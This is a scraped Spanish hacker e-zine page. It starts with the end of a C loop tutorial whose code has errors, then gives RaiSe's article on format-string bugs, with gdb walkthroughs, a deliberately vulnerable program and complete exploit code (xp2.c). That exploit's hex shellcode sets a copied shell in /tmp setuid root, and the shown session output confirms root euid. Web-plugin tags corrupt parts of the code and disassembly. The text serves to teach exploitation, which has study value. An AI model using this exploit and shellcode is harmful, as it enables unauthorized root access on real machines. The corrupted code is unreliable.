conjunto de valores.


for
---

  Sirve, en principio, para ejecutar un bloque de instrucciones un numero
determinado y conocido de veces.

	1: for (inicializacion; condicion; incremento)

	1: #include 
	2: main ( )
	3: {
	4:	int m;
	5:	for (m = 1; m < =100; m +=2)
	6:		printf ("%d\n", m);
	7: }

  La comparacion, al igual que la condicion y el incremento, puede llegar a
ser cualquier cosa.
	
	1: for (;;)		/* Esto seria un bucle infinito */
	2: {	  /* Para salir tendriamos que usar un break, exit o return. 
	3: 	     ... Se explica mas adelante */
	4: }

  Un bucle for, no tiene porque usar cuerpo.

	1: #include 
	2: main ( )
	3: {
	4:	int tabla[5];
	5:	int i;
	6:	for (i :=0; i < 5; tabla[i++] = 10);
	7:	/*Inicializa el vector */
	8:	for (i = 0; i < 5; i++)
	9:		printf ("tabla[%1d]=%d\n", i, tabla[i]);
	10: }

  Los dos bucles for anteriores, se podian haber resumido como:

	1: for (i = 0; i < 5; tabla [i] = 10, printf ("Tabla
               [%1d]=%d\n",i,tabla[i]), i++);

  Las variables de control no tienen porque ser solo una:
	
	1: for (x =0; y=0; x+y < 10; x ++) {
	2: y = getchar ( );
	3:  y = y - '0'; /* Esto nos sirve para convertir un codigo ASCII a
        4:                  numero */
	5: }	

	1: reconocimiento ( )
	2: {
	3: char str [20];
	4: int x;
	5: for (x = 0; x <= 3 && strcmp (str, "clave"); ++x) {	
	6:	printf ("Introduzca la clave");
	7:	gets (str);
	8: }
	9: if ( x = =3) terminar ( );
	10 }

  strcmp compara dos cadenas y devuelve 0 si son iguales. Esta incluida en la
libreria string.h.

	1: main ( )
	2: {
	3: int t;
	4: for (peticion ; t = leernum( ); peticion )
	5:	raiz ( t );
	5: }
	6: peticion ( )
	7: {
	8: printf (" : ");
	9: }
	10: leernum ( )
	11: {
	12: int t;
	13: scanf ("%d", &t);
	14: return t;
	15: }
	16: raiz (int num)
	17 {
	18: printf ("%d\n", sqrt  (num));
	19: /* sqrt halla la raiz cuadrada de un numero */	
	20: }
	
	1: #include 
	2:
	3: main ()
	4: {
	5:	unsigned char mascara = 128; 	/* 10000000 */
	6:	unsigned char n;
	7:	int i;
	8:	printf ("Introduce un numero entero entre 0 y 255:");
	9:	scanf("%u", &u);
	10:	printf("Representaci¢n binaria:");
	11:	for (i:=1; i <=8; i++) {
	12:		putchar (( n & mascara ? '1' : '0' );
	13:		mascara >> 1;
	14:	}
	15: }
	
	
while
-----

  Repite un conjunto de instrucciones mientras se den unas condiciones, que
evalua antes de entrar en el bucle.
	
	1: while (condicion) sentencia;

	1: leer ()
	2: {
	3: 	char ch;
	4: 	ch = '{jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}';
	5: 	while (ch != 'A') 
	6:		ch = getchar ();
	7: }

	1: func1 ()
	2: {
	3:	int t;
	4:	t = 1;
	5:	while (t) {
	6:		t = proceso1();
	7:		if (t)
	8:			t = proceso2();
	9:		if (t)
	10:			t = proceso3();
	11:	}
	12: }

  La sentencia while, al igual que el resto no tiene porque incluir un
  cuerpo:

	1: while (( ch = getchar()) != 's');


do while
--------

  Ejecuta una serie de sentencias mientras la condicion sea verdadera. En
este caso evalua la condicion al final, por lo que siempre ejecutara las
sentencias, al menos, una vez.

	1: do {
	2: 	sentencia;
	3: } while (condicion);
	
	1: do {
	2: 	scanf("%d", &num);
	3: } while (num < 100);

  Este tipo de sentencias se usa mucho para ejecucion de menus.

	1: menu ()
	2: {
	3:	char ch;
	4:	printf ("1. Altas\n");
	5:	printf ("2. Bajas\n");
	6:	printf ("3. Modificar\n");
	7:	printf ();
	8:	printf ("4. Salir\n");
	9:	do {
	10:		ch = getchar();
	11:		switch (ch) {
	12:			case '1' :
	13:				altas ();
	14:				break;
	15:			case '2' :
	16:				bajas ();
	17:				break;
	18:			case '3' :
	19:				modificar ();
	20:				break;
	21:		}
	22:	}while (ch != '1' && ch != '2' && ch != '3');
	23: }


break
-----

  Sentencia que sirve para salir de un bucle de cualquier tipo, sin tener en
cuenta la condicion de este. Ademas, como ya vimos, en un switch sirve para
que solo ejecute una conjunto de sentencias de una seccion.
	
	1: main ()
	2: {
	3:	int t,p;
	4:	for (t=0; t < 100; t++) {
	5:		printf ("%d", t);
	6:		scanf ("%d", &p);
	7:		if (t == 10 || p == 10) break;
	8:	}
	9: }

  En caso de que estemos en bucles anidados, break sale del bucle mas
interior de los que estemos.


exit
----
  
  Sirve para salir de un programa. Se encuentra en el archivo de cabecera
process.h


continue
--------

  Fuerza una nueva iteracion del bucle, saltando las condiciones que vengan a
continuacion y volviendo al principio del bucle.

	1: do {
	2:	scanf(%d", &num);
	3:	if (num < 100) continue;
	4:	printf ("%d", num);
	5: } while ( num != 100);


goto
----

  Salta hasta una seccion de codigo indicada.

	1: goto etiqueta;
	2:
	...
	n: :etiqueta

  Olvidate de esto, porque va en contra de todos los estandares de
programacion.


 --<->--<->--


  Esto es todo por este articulillo. Todas las dudas, sugerencias, insultos,
mandarmelos a mi correo, que ultimamente anda mu vacio...(no voy a pediros
dinero... al menos de momento).

  En el proximo numero nos meteremos con algo mas complicadillo, matrices,
punteros y funciones. Espero que os sea leve hasta entonces.

  Que os vaya... bonito.


/* Esto no ta acabado ni mucho menos */

/* I'm trying to free your mind, Neo. But I can only show you the door. You're the one
   that has to walk through it. */

/* Para cualquier duda 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  */



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x04 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Bugs de Formato (1/2) ]-=================================================
=-[ por RaiSe ]-=============================================================




----------------
// 0.- Indice
----------------


0.- Indice
1.- Prologo
2.- Introduccion a los Bugs de Formato
3.- Xplotando los Bugs de Formato
4.- Codigo del Xploit final
5.- Despedida



----------------
// 1.- Prologo
----------------


En fin, ya estamos otra vez aqui currandonos un articulillo para el NS Ezine
:). Este es mi sexto articulo (tecnico, x asi decirlo), y la verdad es que a
uno se le acaban las ideas.. Tanto es asi que he decidido retomar un tema que
tenia pensado hace bastante tiempo: los Bugs de Formato.

La idea es que el articulo se divida en dos partes, la primera (esta) sera
una especie de introduccion, y en la segunda se intentara tratar aspectos un
poco mas avanzados.

Por supuesto yo no soy ningun guru, asi que es posible que en este texto haya
algun que otro fallo tecnico (espero que no). Si hay algo que no es correcto
no dudeis en comentarlo por mail; 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 .



-------------------------------------------
// 2.- Introduccion a los bugs de formato
-------------------------------------------


Bueno bueno.. por donde empiezo? Los bugs de formato se producen (o son
xplotables) cuando un programa realiza una llamada a una funcion *printf sin
especificar su formato. Ejemplo:


char manolo[] = "hola que pasa que tal";
printf(manolo);   --> aqui deberia ser printf("%s", manolo);


Resumiendo, todo este embrollo viene por culpa de 'vagos' programadores, que
no tienen la suficiente responsabilidad como para especificar el formato. Por
supuesto me estoy refiriendo a bugs encontrados en aplicaciones actuales, ya
que anteriormente este problema no se conocia, con lo que esos 'otros'
programadores quedan absueltos de responsibilidad :).

Y ahora que ya sabemos a grandes rasgos cuando se producen, veamos mas
detenidamente que pasa cuando ejecutamos el siguiente codigo:


[raise@apolo formats]$ cat > codigo1.c
<++> formats/codigo1.c $a20ab987f4865715cf4ccdecb9d35572
#include 

main()
{
char pepe[] = "hola hola";
printf("%s", pepe);
}
<-->

[raise@apolo formats]$ gcc -g -o codigo1 codigo1.c
[raise@apolo formats]$ gdb -q codigo1

(gdb) disass main
Dump of assembler code for function main:
0x80483e4 
: push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : sub {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x18,%esp 0x80483ea : lea 0xfffffff4(%ebp),%edx 0x80483ed : mov {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x8048478,%eax 0x80483f2 : mov (%eax),%edx 0x80483f4 : mov %edx,0xfffffff4(%ebp) 0x80483f7 : mov 0x4(%eax),%edx 0x80483fa : mov %edx,0xfffffff8(%ebp) 0x80483fd : mov 0x8(%eax),%ax 0x8048401 : mov %ax,0xfffffffc(%ebp) 0x8048405 : add {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}xfffffff8,%esp 0x8048408 : lea 0xfffffff4(%ebp),%eax 0x804840b : push %eax 0x804840c : push {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x8048482 0x8048411 : call 0x804830c 0x8048416 : add {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x10,%esp 0x8048419 : mov %ebp,%esp 0x804841b : pop %ebp 0x804841c : ret End of assembler dump. (gdb) break *0x8048411 (gdb) r Breakpoint 1, 0x8048411 in main () at codigo1.c:7 7 printf("%s", pepe); (gdb) x/2xw $esp 0xbffff854: 0x08048482 0xbffff870 Despues de todo este rollo pasemos a explicar.. Lo que hemos hecho ha sido crear un ultrasimple programa que printea por pantalla un string. Lo ejecutamos con el gdb y hacemos un break justo antes de la llamada a printf (con formato - %s). Observamos la pila y vemos que coloca dos direcciones; la primera corresponde al formato y la segunda al string. (gdb) x/1s 0x08048482 0x8048482 <_IO_stdin_used+14>: "%s" (gdb) x/1s 0xbffff870 0xbffff870: "hola hola" Usease, se supone que siempre que haya un especificador de formato habra justo despues en la pila (en el momento de llamar a printf) la direccion de lo que se quiere mostrar (string, entero, o lo que sea). Si hubiesemos puesto dos especificadores de formato el resultado no seria muy diferente. Supongamos que hicieramos: printf("%s %s", pepe, pepe); (gdb) x/3xw $esp 0xbffff854: 0x08048492 0xbffff870 0xbffff870 (gdb) x/1s 0x08048492 0x8048492 <_IO_stdin_used+14>: "%s %s" (gdb) x/1s 0xbffff870 0xbffff870: "hola hola" Como vemos, por 'n' especificadores de formato, 'n' direcciones de memoria en la pila, todo correcto. Ahora veamos que pasa con el siguiente programa sin formato. [raise@apolo formats]$ cat > codigo2.c <++> formats/codigo2.c {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}c635047cc55fcb84a74fbfb21346960 #include main() { char pepe[] = "hola hola"; printf(pepe); } <--> [raise@apolo formats]$ gcc -g -o codigo2 codigo2.c [raise@apolo formats]$ gdb -q codigo2 [hacemos el break justo en el call printf()] (gdb) r Breakpoint 1, 0x804840c in main () at codigo2.c:7 7 printf(pepe); (gdb) x/2xw $esp 0xbffff854: 0xbffff870 0x00000000 (gdb) x/1s 0xbffff870 0xbffff870: "hola hola" Ahora solo se usa una direccion de memoria, que es la de la propia variable pepe. Por lo tanto, si pepe contuviera un modificador de formato, por ejemplo "%d", se intentaria printear el valor en decimal de la direccion de memoria contigua en la pila (0x00000000). Probemos a cambiar el valor de pepe[] por "hola hola %d" (modificando el codigo y recompilando). (gdb) x/2xw $esp 0xbffff854: 0xbffff86c 0x00000000 (gdb) x/1s 0xbffff86c 0xbffff86c: "hola hola %d" (gdb) c Continuing. hola hola 0 Program exited with code 013. Efectivamente ha cogido el siguiente valor en la pila y lo ha mostrado por pantalla (0). Ahora vosotros estareis pensando, todo esto esta muy bien, pero como podemos hacer para sacarle provecho?.. Veamoslo en el siguiente apartado :). -------------------------------------- // 3.- Xplotando los bugs de formato -------------------------------------- Ahora que ya sabemos como hace el sistema para colocar los especificadores de formato y variables en la pila para llamar a printf, veamos como xplotarlo. Por cierto, esta explicacion se basa en printf, pero sirve para cualquier llamada a *printf (varia un poco la pila obviamente, pero en el fondo es lo mismo). Para xplotar un bug de este tipo hay varias formas, pero yo solo explicare una, ya que este metodo puede decirse que es 'universal' y funciona en casi todos los casos. Para ello utilizaremos el especificador de formato '%n'. Como sabreis este formato es un tanto especial, ya que no se usa para printear nada por pantalla, pero si que lleva un argumento asociado. Dicho argumento siempre es la direccion de un entero en memoria. Explicado brevemente lo que hace printf es guardar en el entero el numero de caracteres que se han mostrado por pantalla. Pongamos un ejemplo: [raise@apolo formats]$ cat > codigo3.c <++> formats/codigo3.c de446343b3eeae6deaf084207bfa8e4 #include main() { int a, b; printf("hola%npepe%n\n", &a, &b); printf("A: %d, B: %d", a, b); } <--> [raise@apolo formats]$ gcc -g -o codigo3 codigo3.c Este programa mostrara por pantalla lo siguiente: holapepe A: 4, B: 8 Ya que cuando el primer %n se habian mostrado 4 caracteres (hola), y en el segundo 8 (holapepe). Es decir, con el especificador de formato '%n' podremos sobreescribir partes de la memoria (teoricamente variables int's que hayamos declarado nosotros). Volvamos con el gdb y veamos lo q pasa que con el programa anterior. [raise@apolo formats]$ gdb -q codigo3 (gdb) disass main Dump of assembler code for function main: 0x80483e4
: push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : sub {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x18,%esp 0x80483ea : add {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}xfffffffc,%esp 0x80483ed : lea 0xfffffff8(%ebp),%eax 0x80483f0 : push %eax 0x80483f1 : lea 0xfffffffc(%ebp),%eax 0x80483f4 : push %eax 0x80483f5 : push {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x8048478 0x80483fa : call 0x804830c 0x80483ff : add {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x10,%esp 0x8048402 : add {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}xfffffffc,%esp 0x8048405 : mov 0xfffffff8(%ebp),%eax 0x8048408 : push %eax 0x8048409 : mov 0xfffffffc(%ebp),%eax 0x804840c : push %eax 0x804840d : push {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x8048486 0x8048412 : call 0x804830c 0x8048417 : add {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}x10,%esp 0x804841a : mov %ebp,%esp 0x804841c : pop %ebp 0x804841d : ret End of assembler dump. (gdb) break *0x80483fa // hacemos el break en el primer printf (gdb) r Breakpoint 1, 0x80483fa in main () at codigo3.c:7 7 printf("hola%npepe%n\n", &a, &b); (gdb) x/3xw $esp 0xbffff854: 0x08048478 0xbffff878 0xbffff874 (gdb) x/1s 0x08048478 0x8048478 <_IO_stdin_used+4>: "hola%npepe%n\n" (gdb) x/2xw 0xbffff874 0xbffff874: 0x40009f50 0xbffff898 Una breve explicacion, la primera direccion de la pila como siempre corresponde a la cadena de formato, la segunda y la tercera son respectivamente las variables a y b. Ahora mismo contienen un valor semialetario (al no haber sido inicializadas a cero). El x/2xw lo hice para poder ver las dos a la vez en la misma instruccion, ya que estan seguidas en memoria. Ahora hagamos un break despues del primer printf y continuemos. (gdb) break *0x80483ff (gdb) c Breakpoint 2, 0x80483ff in main () at codigo3.c:7 7 printf("hola%npepe%n\n", &a, &b); (gdb) x/2xw 0xbffff874 0xbffff874: 0x00000008 0x00000004 Como vemos se han sobreescrito las variables a(4) y b(8), aparecen al reves por lo que he explicado antes (para no tener que hacer dos 'x/1xw'). Pues bien, observemos ahora que ocurre si en un printf sin formato incluimos el especificador '%n'. [raise@apolo formats]$ cat > codigo4.c <++> formats/codigo4.c $fd032eadce0a74f3450fb2aa7ca5902b #include main() { char pepe = "hola%n"; printf(pepe); } <--> [raise@apolo formats]$ gcc -g -o codigo4 codigo4.c [raise@apolo formats]$ gdb -q codigo4 [hacemos break justo antes del printf] (gdb) c Breakpoint 1, 0x804840c in main () at codigo4.c:7 7 printf(pepe); (gdb) x/2xw $esp 0xbffff854: 0xbffff874 0x00000000 (gdb) x/1s 0xbffff874 0xbffff874: "hola%n" Bueno, analicemos.. Teoricamente el programa intentara escribir un 4 en la posicion de memoria siguiente, es decir 0x00000000, que al estar fuera del segmento actual producira un segv fault. Veamos si es correcto.. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x4005fdd7 in vfprintf () from /lib/libc.so.6 (gdb) x/1i 0x4005fdd7 0x4005fdd7 : mov %ecx,(%eax) (gdb) info reg eax eax 0x0 0 Efectivamente intenta copiar %ecx al contenido de %eax, que al ser null pues produce el fallo de segmento. Ahora bien, estaria genial que pudieramos elegir nosotros la direccion donde se va a escribir el byte, y si encima podemos ir calculando el contenido que se escribe no habria ningun problema para obtener el control del programa. La duda es, como hacemos para elegir la direccion destino y el contenido? Muy sencillo, con un pequeño programa en C (o en cualquier lenguaje por supuesto). Todo esto claro esta no puede usarse sino podemos modificar el contenido de la variable pepe. Veamos este otro codigo. [raise@apolo formats]$ cat > codigo5.c <++> formats/codigo5.c a609c5ec743d065656d6c4e1ad36ca #include #include #include main() { char pepe[1024]; bzero(pepe, 1024); printf("Programa vulnerable by RaiSe (NS #6 / 0x04)\n\n"); printf("Introduzca cadena: "); fflush(stdout); read(0, pepe, 1024); printf(pepe); } <--> [raise@apolo formats]$ gcc -g -o codigo5 codigo5.c [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: manolo manolo [raise@apolo formats]$ Como vemos funciona perfectamente, ahora veamos que ocurre cuando hacemos lo siguiente. [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: %x %x bffff49c 400 [raise@apolo formats]$ Analicemos.. por cada %x el programa coge los valores que hay en la pila detras de la cadena de formato y los printea en hexadecimal. Por lo tanto teoricamente si lo volvemos a ejecutar y ponemos "pepe%n" se escribira un 0x4 en la direccion de memoria 0xbffff49c, si? Probemos a poner "pepe%n%n", se escribira dos 0x4, uno en 0xbffff49c y otro en 0x400, con lo que se producira un segv fault y hara 'core'. [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: pepe%n%n Violacion de segmento (core dumped) [raise@apolo formats]$ gdb -q --core=core Core was generated by `./codigo5'. Program terminated with signal 11, Violacion de segmento. #0 0x4005fdd7 in ?? () (gdb) x/1xw 0xbffff49c 0xbffff49c: 0x00000004 Efectiviwonder, se ha sobreescrito como pensabamos y luego ha hecho un core al no poder acceder a la direccion 0x400. Ahora pensemos como podemos elegir la direccion donde queremos que sobreescriba. Observemos este ejemplo: [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: AAAABBBB %x %x %x %x %x %x %x %x AAAABBBB bffff49c 400 bffff518 0 0 41414141 42424242 20782520 [raise@apolo formats]$ Analicemos. Hemos puesto AAAABBBB y despues 8 %x, con lo que el programa printeara 8 direcciones de memoria justo despues del string de formato (como en este caso no hay sera lo que haya despues de la propia direccion del buffer pepe). El primer valor (bffff49c), es la direccion del buffer que uso bzero para rellenar a ceros, y 0x400 el numero de bytes a rellenar (1024 = 0x400). Lo demas hasta llegar a 41414141 son valores arbitrarios que habia antes de la ejecucion del programa o restos de las llamadas a anteriores funciones (anteriores printf's, read, etc..). Cuando empieza a mostrar 41414141 es porque ha llegado a la propia variable pepe. Es decir, pepe ocupa una direccion en la pila como variable local que es, y su contenido sera para ser exactos lo que hayamos puesto en 'Introduzca cadena:', ya que el read lo copia directamente al buffer pepe. Pues bien, en el ultimo printf al empezar a hacer %x, va cogiendo valores que encuentra en la pila (los que hay detras de la direccion de pepe, recordemos que sino se especifica formato printf() hace un pushl de la direccion del buffer a imprimir). Una vez que llega a pepe printea su valor en hexadecimal, que en este caso es 41414141 y 42424242 (AAAABBBB). El ultimo valor (20782520) corresponde al string ' %x '. Todo esto tiene un proposito, y es que si en vez de AAAA ponemos una direccion de memoria, y en vez de ocho '%x' ponemos cinco '%x' y un '%n', lo que estaremos haciendo sera sobreescribir la direccion que especificamos con el valor 0xe. Es decir, 4 bytes de la direccion de memoria + 10 bytes de los '%x' = 0xe = 14. Los '%x' se ponen para ir 'saltando' por la pila hasta encontrarnos en la direccion que queremos sobreescribir. No se si me explico.. Probemos un ejemplo sencillo, sabemos que la direccion de pepe[] es 0xbffff49c, no? Intentemos esto otro: [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: AAAABBBB %n %x %x %x %x %x %x %x %x AAAABBBB 400 bffff518 0 0 9 42424242 206e2520 25207825 [raise@apolo formats]$ ^ Hemos usado la direccion que ya teniamos en la pila para sobreescribir la propia variable pepe[] con 0x00000009 (AAAABBBB + espacio). Ahora pensemos un metodo para poder sobreescribir lo que queramos en vez de 0x9. Observemos este codigo: [raise@apolo formats]$ cat > xp1.c <++> formats/xp1.c eab1fea37b934cc0b10274567a3fe5 #include #include #include int main() { char b1[255]; char b2[255]; char b3[255]; char b4[255]; memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(b1, '\x90', 0x99 - 0x10 - 0x28); memset(b2, '\x90', 0xf0 - 0x99); memset(b3, '\x90', 0xff - 0xf0); memset(b4, '\x90', 0x1bf - 0xff); /* queremos sobreescribir pepe[16] en codigo5 con el valor 0xbffff099 */ sleep(1); printf( "\xac\xf4\xff\xbf" "\xad\xf4\xff\xbf" "\xae\xf4\xff\xbf" "\xaf\xf4\xff\xbf" "%%8x%%8x%%8x%%8x%%8x" "%s%%n" "%s%%n" "%s%%n" "%s%%n" " %%x" , b1, b2, b3, b4); } <--> [raise@apolo formats]$ Bueno.. ahora empieza lo bueno. Puede que al principio este codigo sea un poco dificil de entender, pero realmente parece mas complicado de lo que en realidad es. Veamos.. Como vamos a sobreescribir 4 direcciones de memoria con un valor entre 0 y 0xff (255), declaramos 4 arrays de 255 caracteres que usaremos para ir rellenando. Los rellenamos a ceros para no tener que preocuparnos luego por el '{jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}' del final del string. Queremos sobreescribir la direccion de memoria pepe[16], es decir 0xbffff49c + 16 = 0xbffff4ac, con el valor 0xbffff099. Este ultimo valor lo escogi aleatoriamente, solo es para que veamos que realmente sobreescribe. Rellenamos los arrays de una forma un tanto peculiar.. fijandonos en el printf de luego analicemos: . Lo primero que contendra el buffer pepe sera las 4 direcciones a sobreescribir, es decir, 16 = 0x10 bytes. . En la primera (0xbffff4ac) queremos sobreescribir el valor 0x99, ya que en procesadores x86 como sabemos se usa little endian. Entonces para escribir el valor 0x99, antes del %n necesitamos printear ese numero de bytes. Ya hemos printeado 0x10 de las direcciones de memoria, pero vamos a tener que printear unos cuantos mas. Me estoy refiriendo a los cinco '%x' que tendremos que poner para 'saltar' por la pila hasta llegar a la propia variable pepe. Si ponemos cinco '%x' a secas no sabremos cuantos bytes estaremos printeando, ya que puede ir desde uno a ocho, por lo tanto pondremos '%8x'. De esta forma si el numero a printear ocupa menos de 8 caracteres en pantalla se rellenara con espacios. Resumiendo, ya hemos printeado 0x38 bytes (16 + 5*8). Por lo tanto necesitaremos setear el array b1 a 0x99 - 0x38, lo imprimimos por pantalla seguido del '%n' y ya tenemos el primer valor sobreescrito. . Acto seguido queremos sobreescribir 0xf0, por lo que necesitaremos printear 0xf0 - 0x99 que ya se han printeado. Seteamos b2 a ese valor, lo imprimimos por pantalla seguido de '%n' y ya tenemos el segundo valor sobreescrito. . Tercero, 0xff. Seteamos a 0xff - 0xf0, printeamos seguido de '%n' y ya esta el tercer valor. . Cuarto, 0xbf. Ya se han imprimido 0xff, como hacemos para conseguir 0xbf sino podemos restar 0xbf - 0xff ?. Pues muy sencillo, necesitamos printear 0x1bf. En memoria se escribira 0x1bf, el 0x1 se guardara en 0xbffff4b0, pero a nosotros no nos importa en absoluto, ya que no nos molestara para conseguir nuestro objetivo. Seteamos a 0x1bf - 0xff, printeamos seguido de '%n' y ya esta :). Ahora probemos lo siguiente a ver si funciona.. (le he quitado algunos caracteres que no eran alfanumericos) [raise@apolo formats]$ gcc -o xp1 xp1.c [raise@apolo formats]$ ./xp1 | ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: xxxxxxxxxxxxxxxxbffff49c 400bffff518 0 0xxxxxxxxxxxxxxxxxxaqui van todos los nopsxxxxxxxxxxxxxxxxxxxxxxxxxxxx bffff099 [raise@apolo formats]$ Veamos, con los cinco '%8x' salta hasta la direccion de pepe, despues con los cuatro '%n' sobreescribe y salta a la vez, con lo que en el ultimo '%x' printeamos el contenido de pepe[16], que como podemos vemos es lo que habiamos querido sobreescribir :). Ahora seamos un poco mas maquiavelicos, intentemos sobreescribir la direccion de retorno de main con la direccion de una shellcode. Dicha scode la meteremos despues del cuarto '%n'. Justo antes de cada '%n' pondremos "\xeb\x02", que corresponden a la instruccion en asm 'jmp 0x2'. De esta forma si el programa salta a un nop no petara cuando llegue al especificador de formato, sino que lo saltara y seguira bajando hasta la scode. Por supuesto a cada seteo de los arrays tendremos que restarle ahora tambien 0x2. La dire de retorno la sacamos con el gdb (por ejemplo). Hay que tener en cuenta que entre ejecutar el codigo5 bajo gdb o no, hay una pequeña diferencia en cuanto a direcciones de memoria, por lo tanto lo mejor para sacar la dire de retorno es hacer lo siguiente: [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: AAAA%n%n%n%n%n%n -> para asegurarnos que haga core Violacion de segmento (core dumped) [raise@apolo formats]$ gdb -q --core=core Core was generated by `./codigo5'. Program terminated with signal 11, Violacion de segmento. #0 0x4005fdd7 in ?? () (gdb) bt #0 0x4005fdd7 in ?? () #1 0x40067088 in ?? () #2 0x804851d in ?? () #3 0x40039cbe in ?? () (gdb) x/2xw $ebp 0xbffff44c: 0xbffff47c 0x40067088 (gdb) x/2xw 0xbffff47c 0xbffff47c: 0xbffff89c 0x0804851d (gdb) x/2xw 0xbffff89c 0xbffff89c: 0xbffff8d8 0x40039cbe ^^^^^^^^^^ La direccion de retorno del main (a la que salta) es 0x40039cbe. Nosotros dentro del core estamos dentro de dos funciones (vfprintf y printf seguramente), por lo que siguiendo los %ebp's salvados en la pilla llegamos al del main. Resultado, la direccion de retorno del main es 0xbffff89c + 4 = 0xbffff8a0. Y ahora que ya sabemos la direccion que debemos sobreescribir debemos elegir 'que' escribiremos. Veamos, si la dire de pepe es 0xbffff49c le deberemos sumar un valor X para saltarnos las cuatro direcciones y los cinco '%8x', pongamos 64 por ejemplo, 0xbffff49c + 64 = 0xbffff4dc. Asi nos aseguramos que salte a un 'nop'. Ahora solo falta realizar el xploit final.. -------------------------------- // 4.- Codigo del Xploit final -------------------------------- Antes de ponernos a 'coddear' cabe hacer un pequeño comentario sobre el shell de comandos 'bash'. Todo empezo cuando yo ya me estaba tirando de los pelos por un problemilla que estaba teniendo al realizar este articulo. Para ser exactos dire que era incapaz de 'pillar' euid (uid efectivo) de root (0) al ejecutar con una shellcode '/bin/sh'. Como ya estaba un pelin cansado decidi probar como root a setear una shell con suid 0 y ejecutarla con un usuario normal. Sorpresa.. era imposible coger euid 0, la propia bash seteaba internamente el valor del euid al del uid original que habia ejecutado la shell. Yo al principio pensaba que era un parche que habian metido desde el kernel 2.2.18 en adelante, pero hablandolo con Sp4rK llegamos a la conclusion de que era la shell. El bash que esta comprobado que no rula es la version 2.04.12(1), mientras que con otras shells como ash o bash version 2.03.0(1) rula perfectamente. Como en el xploit no podia hacer el tipico execve de '/bin/sh' por lo que acabo de mencionar, decidi rescatar una shellcode que tenia por ahi olvidada. Dicha scode lo que hace es setear el binario '/tmp/.katy' con suid root, el cual sera una copia de '/bin/ash' que habremos hecho previamente. Desconozco si la shell ash viene en todos los linux por defecto, al menos en el mio viene. Si tienes una version valida de bash puedes probar a ver si te funciona.. Bueno, despues de esta pequeña aclaracion ya podemos empezar a escribir codigo :). [Nota: obviamente le damos suid root a codigo5 pq sino no tendria gracia.] [raise@apolo formats]$ cp /bin/ash /tmp/.katy [raise@apolo formats]$ ls -l /tmp/.katy -rwxr-xr-x 1 raise raise 65340 may 8 22:29 /tmp/.katy* [raise@apolo formats]$ cat > xp2.c <++> formats/xp2.c deb5856b7c166abc5825561b056d880 #include #include #include #include int main() { char shellcode[] = // by RaiSe "\xeb\x21\x5f\x31\xc0\x31\xd2\x31\xc9\x88\x57\x0a\x89\xfb\xb0\xb6" "\xcd\x80\x66\xb9\x01\x08\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\x40\x31" "\xdb\xcd\x80\xe8\xda\xff\xff\xff/tmp/.katy"; char b1[255]; char b2[255]; char b3[255]; char b4[255]; memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(b1, '\x90', 0xdc - 0x10 - 0x28 - 0x2); memset(b2, '\x90', 0xf4 - 0xdc - 0x2); memset(b3, '\x90', 0xff - 0xf4 - 0x2); memset(b4, '\x90', 0x1bf - 0xff - 0x2); /* queremos sobreescribir 0xbffff8a0 en codigo5 con el valor 0xbffff4dc (para dejar un margen de 64 bytes respecto a la direccion pepe[0]) */ sleep(1); printf( "\xa0\xf8\xff\xbf" "\xa1\xf8\xff\xbf" "\xa2\xf8\xff\xbf" "\xa3\xf8\xff\xbf" "%%8x%%8x%%8x%%8x%%8x" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s" , b1, b2, b3, b4, shellcode); fflush(stdout); } <--> [raise@apolo formats]$ gcc -o xp2 xp2.c [raise@apolo formats]$ ./xp2 | ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: xxxxxxxxxxxxxnops,etc.xxxxxxxxxxxxxxxxxxxx [raise@apolo formats]$ ls -l /tmp/.katy ---S-----x 1 root root 65340 may 8 22:29 /tmp/.katy* [raise@apolo formats]$ /tmp/.katy [\u@\h \W]$ id uid=501(raise) gid=501(raise) euid=0(root) grupos=501(raise) Como vemos ha funcionado bastante bien. Del xploit hay poco que comentar porque practicamente no hay nada nuevo, lo unico la shellcode y las parejas de dos bytes 